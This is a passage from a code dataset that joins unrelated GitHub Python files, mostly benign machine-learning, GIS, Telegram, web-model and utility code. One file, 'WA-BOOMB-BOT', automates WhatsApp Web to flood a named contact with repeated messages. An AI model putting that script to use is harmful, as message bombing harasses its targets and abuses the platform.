 num_cross_county_edges += 1\n    return num_cross_county_edges / len(partition[\"cut_edges\"])\n\n\ndef load_districts(graph, district_file, verbose=False):\n    \"\"\"\n    Given a path to the district boundaries of a state, creates a list of districts and their composition.\n    \"\"\"\n    district_boundaries = gpd.read_file(district_file)\n    cc = CRS('esri:102008')\n    district_boundaries = district_boundaries.to_crs(cc)\n    if \"GEOID10\" in district_boundaries.columns:\n        district_boundaries[\"GEOID10\"].type = str\n        district_boundaries.set_index(\"GEOID10\", inplace=True)\n    elif \"GEOID\" in district_boundaries.columns:\n        district_boundaries[\"GEOID\"].type = str\n        district_boundaries.set_index(\"GEOID\", inplace=True)\n    else: \n        district_boundaries[\"GEOID20\"].type = str\n        district_boundaries.set_index(\"GEOID20\", inplace=True)\n\n\n    # graph = nx.readwrite.json_graph.adjacency_graph(graph_json)\n    geodata_dict = {}\n    for node, data in graph.nodes(data=True):\n        data[\"geoid\"] = node\n        data[\"geometry\"] = shapely.geometry.shape(data[\"geometry\"])\n        geodata_dict[node] = data\n    geodata_dataframe = pd.DataFrame.from_dict(geodata_dict, orient='index')\n    geodata = gpd.GeoDataFrame(geodata_dataframe, geometry=geodata_dataframe.geometry, crs='esri:102008')\n    district_assignment = maup.assign(geodata, district_boundaries)\n    district_assignment = district_assignment.astype(str)\n    district_assignment = district_assignment.str.split('.').str[0]\n    district_assignment.to_csv(\"district_assignment.csv\")\n    districts = {}\n    for i, district in district_assignment.iteritems():\n        if district in districts:\n            districts[district].append(i)\n        else:\n            districts[district] = [i]\n    # districts = {district : graph.subgraph(districts[district]).copy() for district in districts}\n    return districts\n","repo_name":"gcrsef-gang/the-rebalancing-act","sub_path":"rba/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":11704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6728555131","text":"import os\nimport re\n\nimport pyrogram\nfrom pyrogram import raw\nfrom pyrogram import types\nfrom pyrogram.file_id import FileId\n\nclass AddStickerToSet:\n    async def add_sticker_to_set(\n        self: \"pyrogram.Client\",\n        set_short_name: str,\n        sticker: str,\n        emoji: str = \"🤔\",\n    ) -> \"types.StickerSet\":\n        \"\"\"Add a sticker to stickerset.\n\n        .. include:: /_includes/usable-by/bots.rst\n\n        Parameters:\n            set_short_name (``str``):\n               Stickerset shortname.\n\n            sticker (``str``):\n                sticker to add.\n                Pass a file_id as string to send a file that exists on the Telegram servers.\n\n            emoji (``str``, *optional*):\n                Associated emoji.\n                default to \"🤔\"\n\n        Returns:\n            :obj:`~pyrogram.types.StickerSet`: On success, the StickerSet information is returned.\n\n        Example:\n            .. code-block:: python\n\n                await app.add_sticker_to_set(\"mypack1\", \"AsJiasp\")\n        \"\"\"\n        file = None\n\n        if isinstance(sticker, str):\n            if os.path.isfile(sticker) or re.match(\"^https?://\", sticker):\n                raise ValueError(f\"file_id is invalid!\")\n            else:\n                decoded = FileId.decode(sticker)\n                media = raw.types.InputDocument(\n                    id=decoded.media_id,\n                    access_hash=decoded.access_hash,\n                    file_reference=decoded.file_reference\n                )\n        else:\n            raise ValueError(f\"file_id is invalid!\")\n\n        r = await self.invoke(\n            raw.functions.stickers.AddStickerToSet(\n                stickerset=raw.types.InputStickerSetShortName(short_name=set_short_name),\n                sticker=[\n                    raw.types.InputStickerSetItem(\n                        document=media,\n                        emoji=emoji\n                    )\n                ]\n            )\n        )\n\n        return types.StickerSet._parse(r.set)\n","repo_name":"Mayuri-Chan/pyrofork","sub_path":"pyrogram/methods/stickers/add_sticker_to_set.py","file_name":"add_sticker_to_set.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"60"}
+{"seq_id":"23146991559","text":"from selenium import webdriver\r\nimport time\r\n# ENTER YOUR DRIVER PATH HERE\r\ndriver = webdriver.Chrome(\" \")\r\n# LINK\r\ndriver.get(\"https://web.whatsapp.com/\")\r\n# SCAN THE QRCODE THEN\r\n# COME TO TERMINAL TO INPUT name,msg,count,tim\r\n\r\n# printing name and color\r\nprint('\\033[31m')\r\nprint(\"WA-BOOMB-BOT Login\")\r\nprint(\" \")\r\n# input things\r\nname = input(\"ENTER BOOMBER NAME : \") # ENTER THE NAME WHO WANT TO BOOMB\r\nmsg = input(\"ENTER YOUR MESSAGE HERE : \")# ENTER THE MESSAGE YOU WANT TO SEND\r\ncount = eval(input(\"HOW MANY MESSAGE DO YOU WANT : \"))# ENTER THE COUN YOU WANT TO SEND\r\ntim = eval(input(\"ENTER YOUR TIME : \")) # USE A TIME MATCHING WITH COUNT ORWISE THE CODE WILL BREAK\r\n# finding input name\r\nuser = driver.find_element_by_xpath('//span[@title = \"{}\"]'.format(name))\r\nuser.click()\r\n# sending messages\r\nmsgBox = driver.find_element_by_xpath('//*[@id=\"main\"]/footer/div[1]/div[2]/div/div[2]')\r\n# for loop for sending messages\r\nfor i in range(count):\r\n    msgBox.send_keys(msg)\r\n    sendButton = driver.find_element_by_xpath('//*[@id=\"main\"]/footer/div[1]/div[3]/button/span')\r\n    sendButton.click()\r\n# logout\r\ntime.sleep(tim) # inputing tim ( time for sleep )\r\ndot = driver.find_element_by_xpath('//*[@id=\"side\"]/header/div[2]/div/span/div[3]/div/span')\r\ndot.click()\r\nlogout = driver.find_element_by_xpath('//*[@id=\"side\"]/header/div[2]/div/span/div[3]/span/div/ul/li[7]/div')\r\nlogout.click()\r\n# exit\r\ntime.sleep(3)\r\ndriver.quit()\r\n","repo_name":"H3LLO-H4CK3R-2/WA-BOOMB-BOT","sub_path":"WA-BOOMB-BOT.py","file_name":"WA-BOOMB-BOT.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"35773865097","text":"\"\"\"Tests GDS loading.\"\"\"\nimport os\nimport numpy as np\nimport pytest\n\nfrom spins import gds\n\nTESTDATA = os.path.join(os.path.dirname(__file__), \"testdata\")\n\n\ndef test_load_gds():\n    with open(os.path.join(TESTDATA, \"rect.gds\"), \"rb\") as fp:\n        gds_file = gds.GDSImport(fp)\n    polygons = gds_file.get_polygons((100, 0))\n\n    assert len(polygons) == 1\n    np.testing.assert_almost_equal(polygons[0],\n                                   [[-1, 0.7], [-5, 0.7], [-5, 0.2], [-1, 0.2]])\n\n    boxes = gds_file.get_bounding_boxes((100, 0))\n    assert len(boxes) == 1\n    np.testing.assert_almost_equal(polygons[0],\n                                   [[-1, 0.7], [-5, 0.7], [-5, 0.2], [-1, 0.2]])\n\n\ndef test_load_gds_diff_units():\n    \"\"\"Tests that loading GDS file with different units work.\n\n    \"rect_um.gds\" is identical to \"rect.gds\" except for the fact that the\n    precision changes from 1e-9 (nm) to 1e-6 (um) (the unit of the files\n    are the same (both are um)). This means that the polygons should be 1000\n    times larger than in \"rect.gds\".\n    \"\"\"\n    with open(os.path.join(TESTDATA, \"rect_um.gds\"), \"rb\") as fp:\n        gds_file = gds.GDSImport(fp)\n    polygons = gds_file.get_polygons((100, 0))\n\n    assert len(polygons) == 1\n    np.testing.assert_almost_equal(\n        polygons[0], [[-1000, 700], [-5000, 700], [-5000, 200], [-1000, 200]])\n\n\ndef test_standard_load():\n    with open(os.path.join(TESTDATA, \"tlc_test_gds1.gds\"), \"rb\") as fp:\n        gds_file = gds.GDSImport(fp)\n    assert gds_file.top_level_cell.name == \"CELL1\"\n\n\ndef test_named_cell_load():\n    with open(os.path.join(TESTDATA, \"tlc_test_gds1.gds\"), \"rb\") as fp:\n        gds_file = gds.GDSImport(fp, \"CELL2\")\n    assert gds_file.top_level_cell.name == \"CELL2\"\n\n\ndef test_name_not_found():\n    with pytest.raises(ValueError, match=\"name not found\"):\n        with open(os.path.join(TESTDATA, \"tlc_test_gds1.gds\"), \"rb\") as fp:\n            gds_file = gds.GDSImport(fp, \"CELL3\")\n\n\ndef test_same_num_polygons_load():\n    with pytest.raises(ValueError, match=\"same number\"):\n        with open(os.path.join(TESTDATA, \"tlc_test_gds2.gds\"), \"rb\") as fp:\n            gds_file = gds.GDSImport(fp)\n\n\ndef test_no_valid_cell():\n    with pytest.raises(ValueError, match=\"valid cell\"):\n        with open(os.path.join(TESTDATA, \"tlc_test_gds3.gds\"), \"rb\") as fp:\n            gds_file = gds.GDSImport(fp)\n","repo_name":"stanfordnqp/spins-b","sub_path":"spins/gds/test_parse_gds.py","file_name":"test_parse_gds.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","stars":246,"dataset":"github-code","pt":"60"}
+{"seq_id":"16041200627","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep  5 10:54:14 2019\n\n@author: nmei\n\"\"\"\n\nimport os\nfrom glob import glob\nfrom tqdm import tqdm\nfrom torch.utils.data import Dataset\nfrom nibabel import load as load_fmri\n\nimport torch\nfrom torch import nn\nfrom torch.autograd import Variable\nfrom torchvision import models\n\nclass customizedDataset(Dataset):\n    def __init__(self,data_root):\n        self.samples = []\n        for item in glob(os.path.join(data_root,'*.nii.gz')):\n            self.samples.append(item)\n    \n    def __len__(self):\n        return len(self.samples)\n    \n    def __getitem__(self, idx):# for each item in the sample\n        \"\"\"\n        Because we will use binary cross entropy loss function, \n        it is crutial that we make sure the data range between 0 and 1\n        \"\"\"\n        # load the nii.gz format data\n        temp = load_fmri(self.samples[idx]).get_data()\n        # get the maximum of the volume\n        max_weight = temp.max()\n        # ge the minmum of the volume\n        min_weight = temp.min()\n        # standardize\n        temp_std = (temp - min_weight) / (max_weight - min_weight)\n        temp_scaled = temp_std * (1 - 0) + 0\n        return temp_scaled,max_weight,min_weight,self.samples[idx]\n\n\ndef torch_summarize(model, show_weights=True, show_parameters=True):\n    \"\"\"Summarizes torch model by showing trainable parameters and weights.\"\"\"\n    from torch.nn.modules.module import _addindent\n\n    tmpstr = model.__class__.__name__ + ' (\\n'\n    for key, module in model._modules.items():\n        # if it contains layers let call it recursively to get params and weights\n        if type(module) in [\n            torch.nn.modules.container.Container,\n            torch.nn.modules.container.Sequential\n        ]:\n            modstr = torch_summarize(module)\n        else:\n            modstr = module.__repr__()\n        modstr = _addindent(modstr, 2)\n\n        params = sum([np.prod(p.size()) for p in module.parameters()])\n        weights = tuple([tuple(p.size()) for p in module.parameters()])\n\n        tmpstr += '  (' + key + '): ' + modstr \n        if show_weights:\n            tmpstr += ', weights={}'.format(weights)\n        if show_parameters:\n            tmpstr +=  ', parameters={}'.format(params)\n        tmpstr += '\\n'   \n\n    tmpstr = tmpstr + ')'\n    return tmpstr\n    \nclass encoder2D(nn.Module):\n    def __init__(self,\n                 batch_size         = 10,\n                 device             = 'cpu'):\n        super(encoder2D, self).__init__()\n        \n        self.batch_size = batch_size\n        self.adaptive_pooling = nn.AdaptiveAvgPool2d((1,1))\n        self.device = device\n    \n    def forward(self,x):\n        import numpy as np\n        iterator = np.arange(66).reshape(-1,3)\n        \n        preallocator = torch.zeros((self.batch_size,iterator.shape[0],1280))\n        for ii,slices in enumerate(iterator):\n            x_sliced = x[:,slices]\n            pretrained = models.mobilenet_v2(pretrained = True).to(device).features\n            for params in pretrained:\n                params.requires_grad = False\n            temp_out = pretrained(x_sliced)\n            temp_out = torch.squeeze(self.adaptive_pooling(temp_out))\n            preallocator[:,ii] = temp_out\n        return preallocator\n\nif __name__ == '__main__':\n    print('import')\n    from torch.utils.data import DataLoader\n    import numpy as np\n    print()\n    saving_name     = '../results/decoder2D.pth'\n    \n    batch_size      = 1\n    print('set up random seeds')\n    torch.manual_seed(12345)\n    if torch.cuda.is_available():torch.cuda.empty_cache();torch.cuda.manual_seed(12345);\n    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n    print(f'device:{device}')\n    print('set up data loaders')\n    train_dataset   = customizedDataset('../data/train/')\n    valid_dataset   = customizedDataset('../data/validation/')\n    dataloader_train = DataLoader(train_dataset, batch_size = batch_size, shuffle=True, num_workers=2)\n    dataloader_valid = DataLoader(valid_dataset, batch_size = batch_size, shuffle=False,num_workers=2)\n    print('set up autoencoder')\n    encoder = encoder2D(batch_size = batch_size,\n                        device = device)#;out = encoder(next(iter(dataloader_train))[0].permute(0,3,1,2));print(out.shape);#asdf\n    for ii,(batch,maximum,minimum,name) in tqdm(enumerate(dataloader_train)):\n        name = name[0]\n        name = name.split('/')[-1]\n        name = name.replace('.nii.gz','.npy')\n        saving_name = '../data/rep_train/{}'.format(name)\n        if not os.path.exists(saving_name):\n            batch = Variable(batch).to(device)\n            rep = encoder(batch)\n            np.save(saving_name,rep.detach().cpu().numpy()[0],)\n    for ii,(batch,maximum,minimum,name) in tqdm(enumerate(dataloader_valid)):\n        name = name[0]\n        name = name.split('/')[-1]\n        name = name.replace('.nii.gz','.npy')\n        saving_name = '../data/rep_validation/{}'.format(name)\n        if not os.path.exists(saving_name):\n            batch = Variable(batch).to(device)\n            rep = encoder(batch)\n            np.save(saving_name,rep.detach().cpu().numpy()[0],)\n","repo_name":"nmningmei/BOLD5000_autoencoder","sub_path":"scripts/old codes/simple autoencoder 2D with pretrained models (part 1 - extract latent representations).py","file_name":"simple autoencoder 2D with pretrained models (part 1 - extract latent representations).py","file_ext":"py","file_size_in_byte":5170,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"}
+{"seq_id":"72380168832","text":"def count_alph(random_word):\n  sorted_random_word = sorted(random_word)\n  lst = []\n  atr = sorted_random_word[0]\n  count = 0\n  for c in sorted_random_word:\n    if atr != c:\n      lst.append((atr, count))\n      atr = c\n      count = 1\n    else: count += 1\n  lst.append((atr, count))\n  return lst\n\ndef count_to_words_rec(alph_count_tuple):\n  lst = []\n  chr = alph_count_tuple[0][0]\n  length = alph_count_tuple[0][1] + 1\n  s = \"\"\n  if len(alph_count_tuple)==1:\n    pre_lst = [\"\"]\n  else:\n    pre_lst = count_to_words_rec(alph_count_tuple[1:])\n  for _ in range(length):\n    lst += [s+pre_s for pre_s in pre_lst]\n    s += chr\n  return lst\n\ndef score(word):\n  score=0\n  for alph in word:\n    if alph in ['a','e','h','i','n','o','r','s','t']:\n      score+=1\n    elif alph in ['c','d','l','m','u']:\n      score+=2\n    elif alph in ['b','f','g','p','v','w','y']:\n      score+=3\n    elif alph in ['j','k','q','x','z']:\n      score+=4\n    else:\n      pass\n  return score\n\ndef scored_words(words):\n  lst = []\n  for word in words:\n    lst.append((word, score(word)))\n  lst = sorted(lst, key=lambda x:x[1], reverse=True)\n  return lst\n\ndef binary_search(sorted_random_word, new_dictionary):\n    left=0\n    right=len(new_dictionary)-1\n    while left<=right:\n        mid=int((left+right)/2)\n        if new_dictionary[mid][0]==sorted_random_word:\n            return new_dictionary[mid][1]\n        elif new_dictionary[mid][0]<sorted_random_word:\n            left=mid+1\n        else:\n            right=mid-1\n    return ''\n\ndef anagram_solution(random_word, dictionary):\n  words = scored_words(count_to_words_rec(count_alph(random_word)))\n  for word in words:\n    anagram = binary_search(word[0], dictionary)\n    if anagram != '':\n      return anagram\n  return 'do not exist'\n\ndef readfile(filename):\n  with open(filename) as f:\n    l_strip = [s.strip() for s in f.readlines()]\n    return l_strip\n    f = open(filename, 'r')\n    x = f.readlines()\n    f.close()\n    return x\n\nprint(\"start\")\n\ndictionary = readfile(\"words.txt\")\nsmall_list = readfile(\"small.txt\")\nmedium_list = readfile(\"medium.txt\")\nlarge_list = readfile(\"large.txt\")\n\nprint(\"new_dictionary start\")\n\nnew_dictionary=[]\nfor word in dictionary:\n    new_dictionary.append((''.join(sorted(word)), word))\nnew_dictionary = sorted(new_dictionary, key=lambda x:x[0])\n\nprint(\"small start\")\n#small_anagram\nfile=open('small_answer.txt', 'w')\nfor word in small_list:\n  file.write(anagram_solution(word, new_dictionary)+\"\\n\")\nfile.close\n\nprint(\"medium start\")\n#medium_anagram\nfile=open('medium_answer.txt', 'w')\nfor word in medium_list:\n  file.write(anagram_solution(word, new_dictionary)+\"\\n\")\nfile.close\n\nprint(\"large start\")\n#large_anagram\nfile=open('large_answer.txt','w')\nfor word in large_list:\n  file.write(anagram_solution(word, new_dictionary)+\"\\n\")\nfile.close\n","repo_name":"Amaruchan/STEPW1HM","sub_path":"homework2.py","file_name":"homework2.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12433111697","text":"from .. import db\nfrom datetime import datetime\n\nclass Sale(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)\n    sale_date = db.Column(db.DateTime, nullable = False, default = datetime.now())\n    price = db.Column(db.Float, nullable=True)\n    user = db.relationship('User', back_populates = \"purchases\", uselist = False, single_parent = True) # Una Venta tiene un Usuario\n    details = db.relationship('SaleDetail', back_populates = \"sale\", cascade = 'all, delete-orphan') # Una Venta tiene n detalleventa(SaleDetail)\n\n\n    def __repr__(self):\n        return '<Sale: %r %r >' % (self.user_id, self.price, self.sale_date)\n\n    def to_json(self):\n        details = [detail.to_json_detailsale() for detail in self.details]\n        sale_json = {\n            'id': self.id,\n            'user': self.user.to_json_onlyname()['user'],\n            'sale_date': self.sale_date.strftime(\"%Y-%m-%d  %H:%M:%S\"),\n            'total_price': self.price,\n            'details': details\n        }\n        return sale_json\n    \n    def to_json_short(self):\n        details = [detail.to_json_detailsale() for detail in self.details]\n        sale_json = {\n            'id': self.id,\n            'sale_date': self.sale_date.strftime(\"%Y-%m-%d  %H:%M:%S\"),\n            'total_price': self.price,\n            'details': details\n        }\n        return sale_json\n\n","repo_name":"marcosricciardi12/BackFrontMobileApp-4ME305","sub_path":"backend/main/models/Sale.py","file_name":"Sale.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41100266757","text":"\n# Використовуючи API курсів валют, розробіть програму, яка запитує у користувача вихідну валюту, потрібну\n# валюту та суму, і обчислює конвертацію з однієї валюти в іншу. Виведіть отриманий результат на екран.\n\nimport requests\nimport api_key\n\n\ndef get_exchange(key, symbol_1, symbol_2, amount):\n    param = {\"access_key\": key.exchange, \"base\": symbol_1, \"symbols\": symbol_2}\n    response = requests.get(\"http://api.exchangeratesapi.io/v1/latest\", param)\n    api_response = response.json()\n\n    result = amount * api_response[\"rates\"][symbol_2]\n    print(f\"{amount:_} {symbol_1} = {round(result, 2):_} {symbol_2}\".replace(\"_\", \" \"))\n\n\nget_exchange(api_key, \"EUR\", \"UAH\", 12345)\n","repo_name":"usik-sviatoslav/IT-Brains-Lessons","sub_path":"Module №5. WEB-dev/1. Основи Web-розробки/Task 3.py","file_name":"Task 3.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17857456190","text":"from datetime import datetime\n\n\nclass CarParkingMachine():\n    def __init__(self, capacity=10, hourly_rate=2.50, parked_cars={}):\n        self.capacity = capacity\n        self.hourly_rate = hourly_rate\n        self.parked_cars = parked_cars\n\n    def check_in(self, license_plate: str, check_in=datetime.now()):\n        if len(self.parked_cars) < self.capacity:\n            car = ParkedCar(license_plate, check_in)\n            self.parked_cars[license_plate] = car\n            return True\n        else:\n            return False\n\n    def check_out(self, license_plate: str):\n        fee = self.get_parking_fee(license_plate)\n        del self.parked_cars[license_plate]\n        return fee\n\n    def get_parking_fee(self, license_plate: str):\n        time_difference = datetime.now() - self.parked_cars[license_plate].checked_in\n        hours_elapsed = time_difference.total_seconds() / 3600\n        round_hours = round(hours_elapsed + 0.5)\n\n        if round_hours == 0:\n            return self.hourly_rate\n        elif round_hours >= 24:\n            return 24 * self.hourly_rate\n        else:\n            return round_hours * self.hourly_rate\n\n\nclass ParkedCar():\n    def __init__(self, license_plate: str, check_in: datetime):\n        self.license_plate = license_plate\n        self.checked_in = check_in\n\n\ndef main():\n    carp_park = CarParkingMachine()\n    running = True\n\n    while running:\n        print(\"\\n[I] Check-in car by license plate\\n\" +\n              \"[O] Check-out car by license plate\\n\" +\n              \"[Q] Quit program\\n\\n\")\n        operation = input(\": \")\n        if operation.lower() == \"q\":\n            running = False\n        elif operation.lower() == \"i\":\n            lisence = input(\"Input your lisence plate: \")\n            if carp_park.check_in(lisence):\n                print(\"License registered\")\n            elif not carp_park.check_in(lisence):\n                print(\"Capacity reached\")\n        elif operation.lower() == \"o\":\n            lisence = input(\"Input your lisence plate: \")\n            fee = carp_park.check_out(lisence)\n            print(f\"Parking fee: {fee:.2f} EUR\")\n        else:\n            print(\"invalid input\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"TvanEert/HR-BaseCamp","sub_path":"Week-09/A3W9A1/carparking.py","file_name":"carparking.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11862594813","text":"import math\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torchvision\r\n\r\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n\r\n\r\nclass RN18_Encoder(nn.Module):\r\n    def __init__(self):\r\n        super(RN18_Encoder, self).__init__()\r\n        self.backbone = torchvision.models.resnet18(pretrained=True)\r\n\r\n        # to get feature map -- model without 'avgpool' and 'fc'\r\n        self.features = nn.Sequential()\r\n        for name, module in self.backbone.named_children():\r\n            if name not in ['avgpool', 'fc']:\r\n                self.features.add_module(name, module)\r\n        self.gap = nn.AdaptiveAvgPool2d(1)\r\n\r\n    def forward(self, x, pool=True):\r\n        x = self.features(x)\r\n        if pool:\r\n            x = self.gap(x)\r\n            x = torch.flatten(x, 1)\r\n        return x\r\n\r\nclass UNet_Decoder(nn.Module):\r\n    def __init__(self, out_channels=3):\r\n        super(UNet_Decoder, self).__init__()\r\n        self.deconv_1 = Unet_UpBlock(512, 512)\r\n        self.deconv_2 = Unet_UpBlock(512, 512)\r\n        self.deconv_3 = Unet_UpBlock(512, 512)\r\n        self.deconv_4 = Unet_UpBlock(512, 256)\r\n        self.deconv_5 = Unet_UpBlock(256, 128)\r\n        self.deconv_6 = Unet_UpBlock(128, 64)\r\n        self.deconv_7 = Unet_UpBlock(64, 32)\r\n        self.final_image = nn.Sequential(*[nn.ConvTranspose2d(32, out_channels, kernel_size=4, stride=2, padding=1)])\r\n\r\n    def forward(self, x):\r\n        x = x.view(-1, 512, 1, 1)\r\n        x = self.deconv_1(x)  # 2\r\n        x = self.deconv_2(x)  # 4\r\n        x = self.deconv_3(x)  # 8\r\n        x = self.deconv_4(x)  # 16\r\n        x = self.deconv_5(x)  # 32\r\n        x = self.deconv_6(x)  # 64\r\n        x = self.deconv_7(x)  # 128\r\n        x = self.final_image(x)  # 256\r\n        return x\r\n\r\n\r\nclass Unet_UpBlock(nn.Module):\r\n    def __init__(self, inner_nc, outer_nc):\r\n        super(Unet_UpBlock, self).__init__()\r\n        layers = [\r\n            nn.ConvTranspose2d(inner_nc, outer_nc, 4, 2, 1, bias=True),\r\n            nn.InstanceNorm2d(outer_nc),\r\n            nn.ReLU(inplace=True),\r\n        ]\r\n        self.model = nn.Sequential(*layers)\r\n\r\n    def forward(self, x):\r\n        return self.model(x)\r\n\r\n\r\nif __name__ == '__main__':\r\n    tns = torch.randn((4,3,256,256))\r\n    model_enc = RN18_Encoder()\r\n    fmap = model_enc(tns, pool=False)\r\n    print(f\"fmap shape: {fmap.shape}\")\r\n    model_dec = UNet_Decoder()\r\n    recons = model_dec(fmap)\r\n    print(f\"recons shape: {recons.shape}\")\r\n","repo_name":"soumitri2001/DMTNet-CRCH","sub_path":"Network_modules.py","file_name":"Network_modules.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"8341016283","text":"import setuptools\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\nsetuptools.setup(\n     name='webshot',  \n     version='0.1',\n     scripts=['webshot'] ,\n     author=\"Deepak Kumar\",\n     author_email=\"deepak.kumar.iet@gmail.com\",\n     description=\"A Webpage screenshot utility package for testing images similiarity\",\n     long_description=long_description,\n   long_description_content_type=\"text/markdown\",\n     url=\"https://github.com/javatechy/webshot\",\n     packages=setuptools.find_packages(),\n     classifiers=[\n         \"Programming Language :: Python :: 3\",\n         \"License :: OSI Approved :: MIT License\",\n         \"Operating System :: OS Independent\",\n     ],\n )","repo_name":"javatechy/webshot","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34754053817","text":"import sys, irc.bot, requests, pyttsx3, pygame, threading\n\nge = []\ngc = None\n\n\"\"\" TO DO\nforce_tts_allow_vip\n\"\"\" \n        \nclass TwitchBot(irc.bot.SingleServerIRCBot):\n    def __init__(self, username, token, channel):\n        self.token = token\n        self.channel = '#' + channel\n\n        server = 'irc.chat.twitch.tv'\n        port = 6667\n        print ('Connecting ' + server + ':' + str(port) + '...')\n        irc.bot.SingleServerIRCBot.__init__(self, [(server, port, 'oauth:'+token)], username, username)\n        \n\n    def on_welcome(self, connection, event):\n        global gc\n        gc = connection\n        print( 'Joining ' + self.channel, event)\n\n        #connection.cap('REQ', ':twitch.tv/membership')\n        connection.cap('REQ', ':twitch.tv/tags')\n        #connection.cap('REQ', ':twitch.tv/commands')\n        connection.join(self.channel)\n        while not connection.connected:\n            print(\".\",end=\"\")\n            pass\n        print( 'Joined ' + self.channel)\n\n    def on_pubmsg(self, connection, event):\n        global ge, tts_custom_reward_id, tts_engine, tss_wait_list, tts_custom_reward_id, force_tts_prefix \n        ge = event\n        #print(connection,\"\\n\\n\",event)\n\n        for tag in event.tags:\n            if tag['key'] == 'custom-reward-id':#check for a tts point redeem\n                if (tag['value']) == tts_custom_reward_id:\n                    tss_wait_list.append(event.arguments[0])\n                else:\n                    print(\"received reward id:\", tag['value'])\n                           \n            if event.arguments[0][:1] == force_tts_prefix:\n                if force_tts_allow_all:\n                    tss_wait_list.append(event.arguments[0])\n                    break\n\n                #print(tag[\"key\"] == 'display-name', tag[\"value\"], self.channel[1:])\n                elif tag[\"key\"] == 'display-name' and tag[\"value\"].lower() == self.channel[1:]:\n                    tss_wait_list.append(event.arguments[0])\n                    break\n\n                elif force_tts_allow_mod and tag['key'] == \"mod\" and tag[\"value\"] ==\"1\" :\n                    tss_wait_list.append(event.arguments[0])\n                    break\n                    \n\ndef speach_thread():\n    global tss_wait_list, speaking\n    tss_wait_list = []\n    while True:\n         #print(\"s\")\n         #time.sleep(10)\n         if len(tss_wait_list) > 0:\n             text = tss_wait_list.pop(0)\n             tts_engine.say(text,text )\n             speaking = True\n             tts_engine.runAndWait()\n             speaking = False\n         #print(\"e\")\n             \ndef pygame_start():\n    global speaking\n    display = pygame.display.set_mode([winX,winY], flags = pygame.RESIZABLE)\n    pygame.display.set_caption(\"doggo tts\")\n    \n    running = True\n    while running:\n        #print (speaking)\n        display.fill([128,128,128])\n        if speaking:\n            display.blit(open_image, [0,0])\n        else:\n            display.blit(idle_image, [0,0])\n            \n        \n        pygame.display.flip()\n        \n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                pygame.quit()\n                running = False\n                bot.stop()\n                break\n            else:\n                pass\n\npygame.init()\ntts_engine = pyttsx3.init('sapi5')\nconfig = None\nspeaking = False\n\nif 1:\n    if len(sys.argv) >= 2:\n        if sys.argv[1].endswith(\".cfg\"):\n            config = open(sys.argv[1] ,mode = \"r\")\n        #print ( sys.argv[1])\n    else:\n        config = open(\"./doggo tts point rewarder.cfg\",mode = \"r\")\n        print(\"normal\")\n        \n    for line in config.readlines():\n        if line.startswith(\"channel\"):\n            channel = line.split(\"=\")[1].strip()\n        elif line.startswith(\"bot_user_name \"):\n            bot_user_name = line.split(\"=\")[1].strip()\n        elif line.startswith(\"bot_login_token \"):\n            bot_login_token = line.split(\"=\")[1].strip().strip(\"oauth:\")\n            \n        elif line.startswith(\"tts_custom_reward_id \"):\n            tts_custom_reward_id = line.split(\"=\")[1].strip()\n            \n        elif line.startswith(\"force_tts_prefix \"):\n            force_tts_prefix  = line.split(\"=\")[1].strip()\n        elif line.startswith(\"force_tts_allow_mod \"):\n            force_tts_allow_mod = line.split(\"=\")[1].strip().lower() in [\"1\",\"true\"]\n        elif line.startswith(\"force_tts_allow_vip \"):\n            force_tts_allow_vip  = line.split(\"=\")[1].strip().lower() in [\"1\",\"true\"]\n        elif line.startswith(\"force_tts_allow_all \"):\n            force_tts_allow_all  = line.split(\"=\")[1].strip().lower() in [\"1\",\"true\"]\n            \n        elif line.startswith(\"winX\"):\n            winX = int(line.split(\"=\")[1].strip())\n        elif line.startswith(\"winY\"):\n            winY = int(line.split(\"=\")[1].strip())\n            \n        elif line.startswith(\"idle_image\"):\n            idle_image = pygame.image.load(line.split(\"=\")[1].strip())\n        elif line.startswith(\"open_image\"):\n            open_image = pygame.image.load(line.split(\"=\")[1].strip())\n\n        elif line.startswith(\"volume\"):\n            tts_engine.setProperty('volume', float(line.split(\"=\")[1].strip()))\n        elif line.startswith(\"words_per_minute\"):\n            tts_engine.setProperty('rate', int(line.split(\"=\")[1].strip()))\n        elif line.startswith(\"voice_id\"):\n           #tts_engine.setProperty('voice', int(line.split(\"=\")[1].strip()))\n           tts_engine.setProperty('voice', tts_engine.getProperty('voices')[int(line.split(\"=\")[1].strip())].id)\n            \n        config.close()\n\n    print(\"config loaded:\",channel,bot_user_name,bot_login_token[0:3]+\"*\" * (len(bot_login_token) - 3),\n          